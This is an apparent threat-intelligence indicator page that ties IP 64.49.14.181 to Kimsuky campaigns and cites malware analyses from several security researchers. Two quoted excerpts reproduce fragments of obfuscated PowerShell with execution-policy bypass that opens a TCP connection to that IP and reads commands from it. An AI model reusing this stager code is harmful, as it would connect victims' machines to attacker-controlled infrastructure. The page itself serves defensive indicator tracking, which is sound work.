64.49.14.181
64.49.14.181 is an IP address
that 4 published sources report
in connection with Kimsuky activity, which public reporting
attributes to North Korea (DPRK).
It is cited here from somedieyoung ZZ, wezard4u and AhnLab ASEC.
The earliest of those reports is dated 2024-09-15 and the most recent 2024-10-23.
ip address Kimsuky MATCHED IN SOURCE
Network
| Kind | data centre |
|---|---|
| Network | GTT Communications Inc. |
| Announced by | AS3257 GTT Communications Inc. |
| Country | Canada |
| Flags | hosting range |
Sources
-
…On crafting the payload we get the something like this: The server (64.49.14.181) is sending a Base64-encoded payload, which is decoded and saved as a ZIP file (t.zip).…
Kimsuky A Gift That Keeps on Giving | somedieyoungZZ — somedieyoung ZZ -
…+s;t=" -Pa(t)h $t -";n="New(-)Object System.";d="c:\\pr(o)gramdata";c="power" (+)"shell -ep by(p)ass -c $r='64.49.14.181';$p='8014';$r="+n+"IO."(+)s+" Reader(("+n+"Net.Socket(s).TcpClient($r, $p)).Get"+s+"());$z=$r.ReadLi(n)e();$…
김수키(Kimsuky)암호화폐 거래소 업비트 사칭 악성코드-Upbit_20240916 docx lnk(2024.9.17) — wezard4u -
…;a="System.IO."+s;t=" -Path $t -";n="New-(O)bject System.";d="c:\\prog ra(m)data";c="power"(+)"shell -ep bypass -c $r='64.49.14.181';$p='8 014';$r="+n(+)"IO."+s+"Reader(("+n+"Net.Sockets.TcpClient($r, $p)).Get"…
김수키(Kimsuky) 보조금신청 관련문의건 으로 위장 하는 악성코드(2024.9.23) — wezard4u -
…IP 103.5.144.26 159.100.13.216 206.206.127.152 216.107.137.73 64.49.14.181 Tags: AsyncRAT InfoStealer Keylogger Kimsuky lnk PebbleDash proxy RATClient RDPWrapper…
PebbleDash와 RDP Wrapper를 악용한 Kimsuky 그룹의 최신 공격 사례 분석 - ASEC — AhnLab ASEC
Find this indicator in the index, or see every IP address this site holds under IP addresses in the browse listing.